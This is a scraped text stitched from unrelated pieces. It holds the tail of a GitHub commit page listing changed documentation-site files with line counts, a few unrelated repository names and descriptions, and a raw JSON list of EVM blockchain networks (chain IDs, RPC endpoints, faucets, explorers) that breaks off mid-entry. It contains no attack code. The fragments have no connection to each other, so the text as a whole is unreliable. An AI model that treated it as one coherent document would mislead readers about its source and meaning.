...-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts.md 19 ...ing-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship.md 16 ...tting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship.md 4 content/github/setting-up-and-managing-organizations-and-teams/index.md 27 ...and-teams/managing-discussion-creation-for-repositories-in-your-organization.md 25 ...izations-and-teams/managing-updates-from-accounts-your-organization-sponsors.md 3 ...p-and-managing-organizations-and-teams/permission-levels-for-an-organization.md 14 ...ing-organizations-and-teams/repository-permission-levels-for-an-organization.md 86 ...naging-organizations-and-teams/reviewing-the-audit-log-for-your-organization.md 1 content/github/setting-up-and-managing-your-github-user-account/index.md 24 ...etting-up-and-managing-your-github-user-account/managing-your-theme-settings.md 12 content/github/site-policy/github-additional-product-terms.md 8 ...porting-the-open-source-community-with-github-sponsors/about-github-sponsors.md 17 ...community-with-github-sponsors/attributing-sponsorships-to-your-organization.md 28 ...e-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers.md 22 ...th-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md 17 ...ting-the-open-source-community-with-github-sponsors/contacting-your-sponsors.md 25 ...munity-with-github-sponsors/editing-your-profile-details-for-github-sponsors.md 1 content/github/supporting-the-open-source-community-with-github-sponsors/index.md 12 ...ce-community-with-github-sponsors/managing-your-payouts-from-github-sponsors.md 18 ...he-open-source-community-with-github-sponsors/managing-your-sponsorship-goal.md 39 ...ing-the-open-source-community-with-github-sponsors/managing-your-sponsorship.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-organization.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-user-account.md 62 ...-source-community-with-github-sponsors/sponsoring-an-open-source-contributor.md 27 ...source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships.md 23 content/github/teaching-and-learning-with-github-education/index.md This file was deleted. 7 ...nt/github/visualizing-repository-data-with-graphs/about-the-dependency-graph.md 1 content/github/working-with-github-support/index.md 10 content/graphql/README.md 58 ...tting-started-with-github-container-registry/about-github-container-registry.md This file was deleted. 15 content/packages/getting-started-with-github-container-registry/index.md This file was deleted. 95 content/packages/guides/about-github-container-registry.md 2 ...ol-and-visibility-for-container-images.md → ...ol-and-visibility-for-container-images.md 5 ...che-maven-for-use-with-github-packages.md → ...che-maven-for-use-with-github-packages.md 1 ...ng-docker-for-use-with-github-packages.md → ...ng-docker-for-use-with-github-packages.md 1 ...otnet-cli-for-use-with-github-packages.md → ...otnet-cli-for-use-with-github-packages.md 1 ...ng-gradle-for-use-with-github-packages.md → ...ng-gradle-for-use-with-github-packages.md 1 ...uring-npm-for-use-with-github-packages.md → ...uring-npm-for-use-with-github-packages.md 1 ...-rubygems-for-use-with-github-packages.md → ...-rubygems-for-use-with-github-packages.md 2 ...ting-a-repository-to-a-container-image.md → ...ting-a-repository-to-a-container-image.md 10 content/packages/guides/container-guides-for-github-packages.md 2 ...er-registry/deleting-a-container-image.md → ...ages/guides/deleting-a-container-image.md 2 ...ry/enabling-improved-container-support.md → ...es/enabling-improved-container-support.md 33 content/packages/guides/index.md 2 ...b-container-registry-for-docker-images.md → ...b-container-registry-for-docker-images.md 10 content/packages/guides/package-client-guides-for-github-packages.md 2 ...stry/pushing-and-pulling-docker-images.md → ...ides/pushing-and-pulling-docker-images.md 1 ...ng-github-packages-with-github-actions.md → ...ng-github-packages-with-github-actions.md 46 content/packages/index.md 60 ...anaging-packages/about-github-packages.md → ...-github-packages/about-github-packages.md 13 ...concepts-for-github-container-registry.md → ...ages/core-concepts-for-github-packages.md 16 content/packages/learn-github-packages/index.md 1 ...managing-packages/publishing-a-package.md → ...n-github-packages/publishing-a-package.md 3 ...d-managing-packages/deleting-a-package.md → ...ges/manage-packages/deleting-a-package.md 8 ...publishing-and-managing-packages/index.md → content/packages/manage-packages/index.md 1 ...managing-packages/installing-a-package.md → ...s/manage-packages/installing-a-package.md 1 ...and-managing-packages/viewing-packages.md → ...kages/manage-packages/viewing-packages.md 11 content/packages/managing-container-images-with-github-container-registry/index.md This file was deleted. 109 content/packages/quickstart.md 20 content/packages/using-github-packages-with-your-projects-ecosystem/index.md This file was deleted. 10 content/rest/README.md 18 content/rest/overview/resources-in-the-rest-api.md 2 content/rest/overview/troubleshooting.md 10 content/rest/reference/enterprise-admin.md 2 data/products.yml 2 data/reusables/accounts/create-account.md 2 data/reusables/actions/actions-not-verified.md 7 data/reusables/actions/visualization-beta.md 5 data/reusables/audit_log/audit-log-api-info.md 1 data/reusables/audit_log/audit-log-git-events-retention.md 1 data/reusables/classroom/about-assignments.md 1 data/reusables/classroom/about-autograding.md 1 data/reusables/classroom/about-classrooms.md 1 data/reusables/classroom/about-online-ides.md 1 data/reusables/classroom/assignments-classroom-prerequisite.md 2 data/reusables/classroom/assignments-click-pencil.md 1 data/reusables/classroom/assignments-group-definition.md 5 data/reusables/classroom/assignments-guide-assign-a-deadline.md 5 data/reusables/classroom/assignments-guide-choose-an-online-ide.md 5 data/reusables/classroom/assignments-guide-choose-template-repository.md 9 data/reusables/classroom/assignments-guide-choose-visibility.md 7 data/reusables/classroom/assignments-guide-click-continue-after-basics.md 7 ...s/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md 5 data/reusables/classroom/assignments-guide-click-create-assignment-button.md 5 data/reusables/classroom/assignments-guide-create-review-pull-request.md 5 data/reusables/classroom/assignments-guide-create-the-assignment.md 1 data/reusables/classroom/assignments-guide-intro-for-environment.md 3 data/reusables/classroom/assignments-guide-invite-students-to-assignment.md 7 data/reusables/classroom/assignments-guide-prevent-changes.md 23 data/reusables/classroom/assignments-guide-using-autograding.md 1 data/reusables/classroom/assignments-individual-definition.md 1 data/reusables/classroom/assignments-to-prevent-submission.md 5 data/reusables/classroom/assignments-type-a-title.md 1 data/reusables/classroom/classroom-creates-group-repositories.md 1 data/reusables/classroom/classroom-creates-individual-repositories.md 1 data/reusables/classroom/classroom-enables-invitation-urls.md 2 data/reusables/classroom/click-assignment-in-list.md 2 data/reusables/classroom/click-classroom-in-list.md 2 data/reusables/classroom/click-settings.md 2 data/reusables/classroom/click-students.md 1 data/reusables/classroom/for-more-information-about-assignment-creation.md 6 data/reusables/classroom/guide-create-new-classroom.md 5 data/reusables/classroom/invitation-url-warning.md 1 data/reusables/classroom/readme-contains-button-for-online-ide.md 1 data/reusables/classroom/sign-into-github-classroom.md 1 data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md 1 data/reusables/classroom/you-can-choose-a-template-repository.md 1 data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md 1 data/reusables/classroom/you-may-want-to-predefine-repository-settings.md 1 data/reusables/discussions/about-categories-and-formats.md 1 data/reusables/discussions/about-discussions.md 5 data/reusables/discussions/beta.md 2 data/reusables/discussions/click-discussion-in-list.md 2 data/reusables/discussions/discussions-tab.md 2 data/reusables/discussions/edit-categories.md 1 data/reusables/discussions/edit-category-details.md 8 ...les/discussions/enabling-or-disabling-github-discussions-for-your-repository.md 1 data/reusables/discussions/github-recognizes-members.md 16 data/reusables/discussions/marking-a-comment-as-an-answer.md 1 data/reusables/discussions/repository-category-limit.md 10 data/reusables/discussions/starting-a-discussion.md 1 data/reusables/discussions/you-can-categorize-discussions.md 1 data/reusables/discussions/you-can-convert-an-issue.md 1 data/reusables/discussions/you-can-use-discussions.md 1 data/reusables/discussions/you-cannot-convert-a-discussion.md 2 data/reusables/education/about-github-education-link.md 2 data/reusables/education/apply-for-team.md 2 data/reusables/education/click-get-teacher-benefits.md 6 data/reusables/education/educator-requirements.md 1 data/reusables/gated-features/discussions.md 1 data/reusables/marketplace/app-transfer-to-org-for-verification.md 5 data/reusables/marketplace/free-plan-note.md 2 data/reusables/marketplace/launch-with-free.md 8 data/reusables/marketplace/marketplace-billing-ui-requirements.md 2 data/reusables/package_registry/billing-for-container-registry.md 2 data/reusables/package_registry/container-registry-beta-billing-note.md 2 data/reusables/package_registry/container-registry-beta.md 2 data/reusables/package_registry/docker_registry_deprecation_status.md 2 data/reusables/package_registry/feature-preview-for-container-registry.md 2 data/reusables/package_registry/required-scopes.md 2 data/reusables/package_registry/viewing-packages.md 3 data/reusables/repositories/dependency-review.md 7 data/reusables/repositories/navigate-to-job-superlinter.md 4 data/reusables/repositories/view-failed-job-results-superlinter.md 4 data/reusables/repositories/view-specific-line-superlinter.md 2 data/reusables/search/date_gt_lt.md 2 data/reusables/sponsors/billing-switcher.md 2 data/reusables/sponsors/change-tier.md 2 data/reusables/sponsors/choose-updates.md 2 data/reusables/sponsors/developer-sponsored-choose-updates.md This file was deleted. 4 data/reusables/sponsors/manage-developer-sponsorship.md This file was deleted. 4 data/reusables/sponsors/manage-org-sponsorship.md This file was deleted. 2 data/reusables/sponsors/manage-sponsorship.md 1 data/reusables/sponsors/manage-updates-for-orgs.md 2 data/reusables/sponsors/maximum-tier.md 4 data/reusables/sponsors/navigate-to-org-sponsors-dashboard.md This file was deleted. 2 ...onsors/navigate-to-sponsored-developer.md → ...sponsors/navigate-to-sponsored-account.md 1 data/reusables/sponsors/navigate-to-sponsored-org.md This file was deleted. 2 ...ors/navigate-to-dev-sponsors-dashboard.md → ...ponsors/navigate-to-sponsors-dashboard.md 2 data/reusables/sponsors/no-fees.md 5 data/reusables/sponsors/org-sponsors-release-phase.md 2 data/reusables/sponsors/pay-prorated-amount.md 2 data/reusables/sponsors/prorated-sponsorship.md 2 data/reusables/sponsors/sponsor-account.md 7 data/reusables/sponsors/sponsorship-dashboard.md 2 data/reusables/sponsors/sponsorship-details.md 1 data/reusables/webhooks/app_always_desc.md 3 data/ui.yml 7 data/variables/action_code_examples.yml 37 data/variables/discussions_community_examples.yml 6 data/variables/product.yml 21 includes/all-articles.html 4 includes/breadcrumbs.html 2 includes/code-example-card.html 14 includes/discussions-community-card.html 2 includes/header-notification.html 90 javascripts/filter-cards.js 92 javascripts/filter-code-examples.js This file was deleted. 4 javascripts/index.js 64 layouts/product-landing.html 68 lib/data-directory.js 28 lib/filename-to-key.js 7 lib/frontmatter.js 2 lib/liquid-tags/data.js 25 lib/page.js 54 lib/pages.js 21 lib/redirects/get-docs-path-from-developer-path.js 41 lib/redirects/precompile.js 231 lib/rest/static/decorated/api.github.com.json 495 lib/rest/static/dereferenced/api.github.com.deref.json 17 lib/rewrite-local-links.js 10 lib/site-data.js 24 lib/warm-server.js 5 middleware/breadcrumbs.js 38 middleware/categories-for-support-team.js 6 middleware/contextualizers/early-access-links.js 103 middleware/csp.js 69 middleware/early-access-breadcrumbs.js 1 middleware/index.js 45 package-lock.json 3 package.json 4 script/check-s3-images.js 4 script/early-access/clone-locally 41 script/early-access/create-branch 7 server.js 2 stylesheets/article.scss 4 tests/browser/browser.js 10 tests/content/category-pages.js 2 tests/content/crowdin-config.js 3 tests/content/featured-links.js 5 tests/content/glossary.js 42 tests/content/remove-liquid-statements.js 39 tests/content/site-data-references.js 4 tests/content/site-data.js 22 tests/fixtures/rest-redirects.json 10 tests/graphql/build-changelog-test.js 9 tests/helpers/conditional-runs.js 20 tests/meta/orphan-tests.js 23 tests/rendering/breadcrumbs.js 4 tests/rendering/rest.js 3 tests/rendering/server.js 47 tests/routing/developer-site-redirects.js 10 tests/routing/redirects.js 15 tests/unit/data-directory/filename-to-key.js 1 tests/unit/data-directory/fixtures/README.md 1 tests/unit/data-directory/fixtures/bar.yaml 1 tests/unit/data-directory/fixtures/foo.json 1 tests/unit/data-directory/fixtures/nested/baz.md 40 tests/unit/data-directory/index.js 19 tests/unit/early-access.js 4 tests/unit/find-page.js 57 tests/unit/liquid-helpers.js 140 tests/unit/page.js 2 tests/unit/pages.js 0 comments on commit 1a56ed1 Leave a comment You’re not receiving notifications from this thread. © 2021 GitHub, Inc. Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About
beatTheSystem42
Scan the environment and create a textured mesh with ARKit
statgen
Meta-analysis of genomewide association scans
Nate0634034090
[{"name":"Ethereum Mainnet","chain":"ETH","icon":"ethereum","rpc":["https://mainnet.infura.io/v3/${INFURA_API_KEY}","wss://mainnet.infura.io/ws/v3/${INFURA_API_KEY}","https://api.mycryptoapi.com/eth","https://cloudflare-eth.com"],"faucets":[],"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"infoURL":"https://ethereum.org","shortName":"eth","chainId":1,"networkId":1,"slip44":60,"ens":{"registry":"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e"},"explorers":[{"name":"etherscan","url":"https://etherscan.io","standard":"EIP3091"}]},{"name":"Expanse Network","chain":"EXP","rpc":["https://node.expanse.tech"],"faucets":[],"nativeCurrency":{"name":"Expanse Network Ether","symbol":"EXP","decimals":18},"infoURL":"https://expanse.tech","shortName":"exp","chainId":2,"networkId":1,"slip44":40},{"name":"Ropsten","title":"Ethereum Testnet Ropsten","chain":"ETH","rpc":["https://ropsten.infura.io/v3/${INFURA_API_KEY}","wss://ropsten.infura.io/ws/v3/${INFURA_API_KEY}"],"faucets":["http://fauceth.komputing.org?chain=3&address=${ADDRESS}","https://faucet.ropsten.be?${ADDRESS}"],"nativeCurrency":{"name":"Ropsten Ether","symbol":"ROP","decimals":18},"infoURL":"https://github.com/ethereum/ropsten","shortName":"rop","chainId":3,"networkId":3,"ens":{"registry":"0x112234455c3a32fd11230c42e7bccd4a84e02010"},"explorers":[{"name":"etherscan","url":"https://ropsten.etherscan.io","standard":"EIP3091"}]},{"name":"Rinkeby","title":"Ethereum Testnet Rinkeby","chain":"ETH","rpc":["https://rinkeby.infura.io/v3/${INFURA_API_KEY}","wss://rinkeby.infura.io/ws/v3/${INFURA_API_KEY}"],"faucets":["http://fauceth.komputing.org?chain=4&address=${ADDRESS}","https://faucet.rinkeby.io"],"nativeCurrency":{"name":"Rinkeby Ether","symbol":"RIN","decimals":18},"infoURL":"https://www.rinkeby.io","shortName":"rin","chainId":4,"networkId":4,"ens":{"registry":"0xe7410170f87102df0055eb195163a03b7f2bff4a"},"explorers":[{"name":"etherscan-rinkeby","url":"https://rinkeby.etherscan.io","standard":"EIP3091"}]},{"name":"Görli","title":"Ethereum Testnet Görli","chain":"ETH","rpc":["https://goerli.infura.io/v3/${INFURA_API_KEY}","wss://goerli.infura.io/v3/${INFURA_API_KEY}","https://rpc.goerli.mudit.blog/"],"faucets":["http://fauceth.komputing.org?chain=5&address=${ADDRESS}","https://goerli-faucet.slock.it?address=${ADDRESS}","https://faucet.goerli.mudit.blog"],"nativeCurrency":{"name":"Görli Ether","symbol":"GOR","decimals":18},"infoURL":"https://goerli.net/#about","shortName":"gor","chainId":5,"networkId":5,"ens":{"registry":"0x112234455c3a32fd11230c42e7bccd4a84e02010"},"explorers":[{"name":"etherscan-goerli","url":"https://goerli.etherscan.io","standard":"EIP3091"}]},{"name":"Ethereum Classic Testnet Kotti","chain":"ETC","rpc":["https://www.ethercluster.com/kotti"],"faucets":[],"nativeCurrency":{"name":"Kotti Ether","symbol":"KOT","decimals":18},"infoURL":"https://explorer.jade.builders/?network=kotti","shortName":"kot","chainId":6,"networkId":6},{"name":"ThaiChain","chain":"TCH","rpc":["https://rpc.dome.cloud"],"faucets":[],"nativeCurrency":{"name":"ThaiChain Ether","symbol":"TCH","decimals":18},"infoURL":"https://thaichain.io","shortName":"tch","chainId":7,"networkId":7},{"name":"Ubiq","chain":"UBQ","rpc":["https://rpc.octano.dev","https://pyrus2.ubiqscan.io"],"faucets":[],"nativeCurrency":{"name":"Ubiq Ether","symbol":"UBQ","decimals":18},"infoURL":"https://ubiqsmart.com","shortName":"ubq","chainId":8,"networkId":8,"slip44":108,"explorers":[{"name":"ubiqscan","url":"https://ubiqscan.io","standard":"EIP3091"}]},{"name":"Ubiq Network Testnet","chain":"UBQ","rpc":[],"faucets":[],"nativeCurrency":{"name":"Ubiq Testnet Ether","symbol":"TUBQ","decimals":18},"infoURL":"https://ethersocial.org","shortName":"tubq","chainId":9,"networkId":2},{"name":"Optimism","chain":"ETH","rpc":["https://mainnet.optimism.io/"],"faucets":[],"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"infoURL":"https://optimism.io","shortName":"oeth","chainId":10,"networkId":10,"explorers":[{"name":"etherscan","url":"https://optimistic.etherscan.io","standard":"none"}]},{"name":"Metadium Mainnet","chain":"META","rpc":["https://api.metadium.com/prod"],"faucets":[],"nativeCurrency":{"name":"Metadium Mainnet Ether","symbol":"META","decimals":18},"infoURL":"https://metadium.com","shortName":"meta","chainId":11,"networkId":11,"slip44":916},{"name":"Metadium Testnet","chain":"META","rpc":["https://api.metadium.com/dev"],"faucets":[],"nativeCurrency":{"name":"Metadium Testnet Ether","symbol":"KAL","decimals":18},"infoURL":"https://metadium.com","shortName":"kal","chainId":12,"networkId":12},{"name":"Diode Testnet Staging","chain":"DIODE","rpc":["https://staging.diode.io:8443/","wss://staging.diode.io:8443/ws"],"faucets":[],"nativeCurrency":{"name":"Staging Diodes","symbol":"sDIODE","decimals":18},"infoURL":"https://diode.io/staging","shortName":"dstg","chainId":13,"networkId":13},{"name":"Flare Mainnet","chain":"FLR","icon":"flare","rpc":[],"faucets":[],"nativeCurrency":{"name":"Spark","symbol":"FLR","decimals":18},"infoURL":"https://flare.xyz","shortName":"flr","chainId":14,"networkId":14},{"name":"Diode Prenet","chain":"DIODE","rpc":["https://prenet.diode.io:8443/","wss://prenet.diode.io:8443/ws"],"faucets":[],"nativeCurrency":{"name":"Diodes","symbol":"DIODE","decimals":18},"infoURL":"https://diode.io/prenet","shortName":"diode","chainId":15,"networkId":15},{"name":"Flare Testnet Coston","chain":"FLR","rpc":["https://coston-api.flare.network/ext/bc/C/rpc"],"faucets":["https://faucet.towolabs.com","https://fauceth.komputing.org?chain=16&address=${ADDRESS}"],"nativeCurrency":{"name":"Coston Spark","symbol":"CFLR","decimals":18},"infoURL":"https://flare.xyz","shortName":"cflr","chainId":16,"networkId":16,"explorers":[{"name":"blockscout","url":"https://coston-explorer.flare.network","standard":"EIP3091"}]},{"name":"ThaiChain 2.0 ThaiFi","chain":"TCH","rpc":["https://rpc.thaifi.com"],"faucets":[],"nativeCurrency":{"name":"Thaifi Ether","symbol":"TFI","decimals":18},"infoURL":"https://exp.thaifi.com","shortName":"tfi","chainId":17,"networkId":17},{"name":"ThunderCore Testnet","chain":"TST","rpc":["https://testnet-rpc.thundercore.com"],"faucets":["https://faucet-testnet.thundercore.com"],"nativeCurrency":{"name":"ThunderCore Testnet Ether","symbol":"TST","decimals":18},"infoURL":"https://thundercore.com","shortName":"TST","chainId":18,"networkId":18,"explorers":[{"name":"ThundercoreTestNetScanner","url":"https://scan-testnet.thundercore.com","standard":"none"}]},{"name":"Songbird Canary-Network","chain":"SGB","icon":"songbird","rpc":["https://songbird.towolabs.com/rpc","https://sgb.ftso.com.au/ext/bc/C/rpc","https://sgb.lightft.so/rpc","https://sgb-rpc.ftso.eu"],"faucets":[],"nativeCurrency":{"name":"Songbird","symbol":"SGB","decimals":18},"infoURL":"https://flare.xyz","shortName":"sgb","chainId":19,"networkId":19,"explorers":[{"name":"blockscout","url":"https://songbird-explorer.flare.network","standard":"EIP3091"}]},{"name":"Elastos Smart Chain","chain":"ETH","rpc":["https://api.elastos.io/eth"],"faucets":["https://faucet.elastos.org/"],"nativeCurrency":{"name":"Elastos","symbol":"ELA","decimals":18},"infoURL":"https://www.elastos.org/","shortName":"elaeth","chainId":20,"networkId":20,"explorers":[{"name":"elastos eth explorer","url":"https://eth.elastos.io","standard":"EIP3091"}]},{"name":"ELA-ETH-Sidechain Testnet","chain":"ETH","rpc":["https://rpc.elaeth.io"],"faucets":["https://faucet.elaeth.io/"],"nativeCurrency":{"name":"Elastos","symbol":"tELA","decimals":18},"infoURL":"https://elaeth.io/","shortName":"elaetht","chainId":21,"networkId":21},{"name":"ELA-DID-Sidechain Mainnet","chain":"ETH","rpc":[],"faucets":[],"nativeCurrency":{"name":"Elastos","symbol":"ELA","decimals":18},"infoURL":"https://www.elastos.org/","shortName":"eladid","chainId":22,"networkId":22},{"name":"ELA-DID-Sidechain Testnet","chain":"ETH","rpc":[],"faucets":[],"nativeCurrency":{"name":"Elastos","symbol":"tELA","decimals":18},"infoURL":"https://elaeth.io/","shortName":"eladidt","chainId":23,"networkId":23},{"name":"Dithereum Mainnet","chain":"DTH","icon":"dithereum","rpc":["https://node-mainnet.dithereum.io"],"faucets":["https://faucet.dithereum.org"],"nativeCurrency":{"name":"Dither","symbol":"DTH","decimals":18},"infoURL":"https://dithereum.org","shortName":"dthmainnet","chainId":24,"networkId":24},{"name":"Cronos Mainnet Beta","chain":"CRO","rpc":["https://evm.cronos.org"],"faucets":[],"nativeCurrency":{"name":"Cronos","symbol":"CRO","decimals":18},"infoURL":"https://cronos.org/","shortName":"cro","chainId":25,"networkId":25,"explorers":[{"name":"Cronos Explorer","url":"https://cronos.org/explorer","standard":"none"}]},{"name":"Genesis L1 testnet","chain":"genesis","rpc":["https://testrpc.genesisl1.org"],"faucets":[],"nativeCurrency":{"name":"L1 testcoin","symbol":"L1test","decimals":18},"infoURL":"https://www.genesisl1.com","shortName":"L1test","chainId":26,"networkId":26,"explorers":[{"name":"Genesis L1 testnet explorer","url":"https://testnet.genesisl1.org","standard":"none"}]},{"name":"ShibaChain","chain":"SHIB","rpc":["https://rpc.shibachain.net"],"faucets":[],"nativeCurrency":{"name":"SHIBA INU COIN","symbol":"SHIB","decimals":18},"infoURL":"https://www.shibachain.net","shortName":"shib","chainId":27,"networkId":27,"explorers":[{"name":"Shiba Explorer","url":"https://exp.shibachain.net","standard":"none"}]},{"name":"Boba Network Rinkeby Testnet","chain":"ETH","rpc":["https://rinkeby.boba.network/"],"faucets":[],"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"infoURL":"https://boba.network","shortName":"Boba Rinkeby","chainId":28,"networkId":28,"explorers":[{"name":"Blockscout","url":"https://blockexplorer.rinkeby.boba.network","standard":"none"}],"parent":{"type":"L2","chain":"eip155-4","bridges":[{"url":"https://gateway.rinkeby.boba.network"}]}},{"name":"Genesis L1","chain":"genesis","rpc":["https://rpc.genesisl1.org"],"faucets":[],"nativeCurrency":{"name":"L1 coin","symbol":"L1","decimals":18},"infoURL":"https://www.genesisl1.com","shortName":"L1","chainId":29,"networkId":29,"explorers":[{"name":"Genesis L1 blockchain explorer","url":"https://explorer.genesisl1.org","standard":"none"}]},{"name":"RSK Mainnet","chain":"RSK","rpc":["https://public-node.rsk.co","https://mycrypto.rsk.co"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/"],"nativeCurrency":{"name":"RSK Mainnet Ether","symbol":"RBTC","decimals":18},"infoURL":"https://rsk.co","shortName":"rsk","chainId":30,"networkId":30,"slip44":137,"explorers":[{"name":"blockscout","url":"https://explorer.rsk.co","standard":"EIP3091"}]},{"name":"RSK Testnet","chain":"RSK","rpc":["https://public-node.testnet.rsk.co","https://mycrypto.testnet.rsk.co"],"faucets":["https://faucet.testnet.rsk.co"],"nativeCurrency":{"name":"RSK Testnet Ether","symbol":"tRBTC","decimals":18},"infoURL":"https://rsk.co","shortName":"trsk","chainId":31,"networkId":31},{"name":"GoodData Testnet","chain":"GooD","rpc":["https://test2.goodata.io"],"faucets":[],"nativeCurrency":{"name":"GoodData Testnet Ether","symbol":"GooD","decimals":18},"infoURL":"https://www.goodata.org","shortName":"GooDT","chainId":32,"networkId":32},{"name":"GoodData Mainnet","chain":"GooD","rpc":["https://rpc.goodata.io"],"faucets":[],"nativeCurrency":{"name":"GoodData Mainnet Ether","symbol":"GooD","decimals":18},"infoURL":"https://www.goodata.org","shortName":"GooD","chainId":33,"networkId":33},{"name":"Dithereum Testnet","chain":"DTH","icon":"dithereum","rpc":["https://node-testnet.dithereum.io"],"faucets":["https://faucet.dithereum.org"],"nativeCurrency":{"name":"Dither","symbol":"DTH","decimals":18},"infoURL":"https://dithereum.org","shortName":"dth","chainId":34,"networkId":34},{"name":"TBWG Chain","chain":"TBWG","rpc":["https://rpc.tbwg.io"],"faucets":[],"nativeCurrency":{"name":"TBWG Ether","symbol":"TBG","decimals":18},"infoURL":"https://tbwg.io","shortName":"tbwg","chainId":35,"networkId":35},{"name":"Valorbit","chain":"VAL","rpc":["https://rpc.valorbit.com/v2"],"faucets":[],"nativeCurrency":{"name":"Valorbit","symbol":"VAL","decimals":18},"infoURL":"https://valorbit.com","shortName":"val","chainId":38,"networkId":38,"slip44":538},{"name":"Telos EVM Mainnet","chain":"TLOS","rpc":["https://mainnet.telos.net/evm"],"faucets":[],"nativeCurrency":{"name":"Telos","symbol":"TLOS","decimals":18},"infoURL":"https://telos.net","shortName":"Telos EVM","chainId":40,"networkId":40,"explorers":[{"name":"teloscan","url":"https://teloscan.io","standard":"EIP3091"}]},{"name":"Telos EVM Testnet","chain":"TLOS","rpc":["https://testnet.telos.net/evm"],"faucets":["https://app.telos.net/testnet/developers"],"nativeCurrency":{"name":"Telos","symbol":"TLOS","decimals":18},"infoURL":"https://telos.net","shortName":"Telos EVM Testnet","chainId":41,"networkId":41},{"name":"Kovan","title":"Ethereum Testnet Kovan","chain":"ETH","rpc":["https://kovan.poa.network","http://kovan.poa.network:8545","https://kovan.infura.io/v3/${INFURA_API_KEY}","wss://kovan.infura.io/ws/v3/${INFURA_API_KEY}","ws://kovan.poa.network:8546"],"faucets":["http://fauceth.komputing.org?chain=42&address=${ADDRESS}","https://faucet.kovan.network","https://gitter.im/kovan-testnet/faucet"],"nativeCurrency":{"name":"Kovan Ether","symbol":"KOV","decimals":18},"explorers":[{"name":"etherscan","url":"https://kovan.etherscan.io","standard":"EIP3091"}],"infoURL":"https://kovan-testnet.github.io/website","shortName":"kov","chainId":42,"networkId":42},{"name":"Darwinia Pangolin Testnet","chain":"pangolin","rpc":["https://pangolin-rpc.darwinia.network"],"faucets":["https://docs.crab.network/dvm/wallets/dvm-metamask#apply-for-the-test-token"],"nativeCurrency":{"name":"Pangolin Network Native Token\u201d","symbol":"PRING","decimals":18},"infoURL":"https://darwinia.network/","shortName":"pangolin","chainId":43,"networkId":43,"explorers":[{"name":"subscan","url":"https://pangolin.subscan.io","standard":"none"}]},{"name":"Darwinia Crab Network","chain":"crab","rpc":["https://crab-rpc.darwinia.network"],"faucets":[],"nativeCurrency":{"name":"Crab Network Native Token","symbol":"CRAB","decimals":18},"infoURL":"https://crab.network/","shortName":"crab","chainId":44,"networkId":44,"explorers":[{"name":"subscan","url":"https://crab.subscan.io","standard":"none"}]},{"name":"Darwinia Pangoro Testnet","chain":"pangoro","rpc":["http://pangoro-rpc.darwinia.network"],"faucets":[],"nativeCurrency":{"name":"Pangoro Network Native Token\u201d","symbol":"ORING","decimals":18},"infoURL":"https://darwinia.network/","shortName":"pangoro","chainId":45,"networkId":45,"explorers":[{"name":"subscan","url":"https://pangoro.subscan.io","standard":"none"}]},{"name":"XinFin Network Mainnet","chain":"XDC","rpc":["https://rpc.xinfin.network"],"faucets":[],"nativeCurrency":{"name":"XinFin","symbol":"XDC","decimals":18},"infoURL":"https://xinfin.org","shortName":"xdc","chainId":50,"networkId":50},{"name":"XinFin Apothem Testnet","chain":"TXDC","rpc":["https://rpc.apothem.network"],"faucets":[],"nativeCurrency":{"name":"XinFinTest","symbol":"TXDC","decimals":18},"infoURL":"https://xinfin.org","shortName":"TXDC","chainId":51,"networkId":51},{"name":"CoinEx Smart Chain Mainnet","chain":"CSC","rpc":["https://rpc.coinex.net"],"faucets":[],"nativeCurrency":{"name":"CoinEx Chain Native Token","symbol":"cet","decimals":18},"infoURL":"https://www.coinex.org/","shortName":"cet","chainId":52,"networkId":52,"explorers":[{"name":"coinexscan","url":"https://www.coinex.net","standard":"none"}]},{"name":"CoinEx Smart Chain Testnet","chain":"CSC","rpc":["https://testnet-rpc.coinex.net/"],"faucets":[],"nativeCurrency":{"name":"CoinEx Chain Test Native Token","symbol":"cett","decimals":18},"infoURL":"https://www.coinex.org/","shortName":"tcet","chainId":53,"networkId":53,"explorers":[{"name":"coinexscan","url":"https://testnet.coinex.net","standard":"none"}]},{"name":"Openpiece Mainnet","chain":"OPENPIECE","icon":"openpiece","network":"mainnet","rpc":["https://mainnet.openpiece.io"],"faucets":[],"nativeCurrency":{"name":"Belly","symbol":"BELLY","decimals":18},"infoURL":"https://cryptopiece.online","shortName":"OP","chainId":54,"networkId":54,"explorers":[{"name":"Belly Scan","url":"https://bellyscan.com","standard":"none"}]},{"name":"Zyx Mainnet","chain":"ZYX","rpc":["https://rpc-1.zyx.network/","https://rpc-2.zyx.network/","https://rpc-3.zyx.network/","https://rpc-4.zyx.network/","https://rpc-5.zyx.network/","https://rpc-6.zyx.network/"],"faucets":[],"nativeCurrency":{"name":"Zyx","symbol":"ZYX","decimals":18},"infoURL":"https://zyx.network/","shortName":"ZYX","chainId":55,"networkId":55,"explorers":[{"name":"zyxscan","url":"https://zyxscan.com","standard":"none"}]},{"name":"Binance Smart Chain Mainnet","chain":"BSC","rpc":["https://bsc-dataseed1.binance.org","https://bsc-dataseed2.binance.org","https://bsc-dataseed3.binance.org","https://bsc-dataseed4.binance.org","https://bsc-dataseed1.defibit.io","https://bsc-dataseed2.defibit.io","https://bsc-dataseed3.defibit.io","https://bsc-dataseed4.defibit.io","https://bsc-dataseed1.ninicoin.io","https://bsc-dataseed2.ninicoin.io","https://bsc-dataseed3.ninicoin.io","https://bsc-dataseed4.ninicoin.io","wss://bsc-ws-node.nariox.org"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/"],"nativeCurrency":{"name":"Binance Chain Native Token","symbol":"BNB","decimals":18},"infoURL":"https://www.binance.org","shortName":"bnb","chainId":56,"networkId":56,"slip44":714,"explorers":[{"name":"bscscan","url":"https://bscscan.com","standard":"EIP3091"}]},{"name":"Syscoin 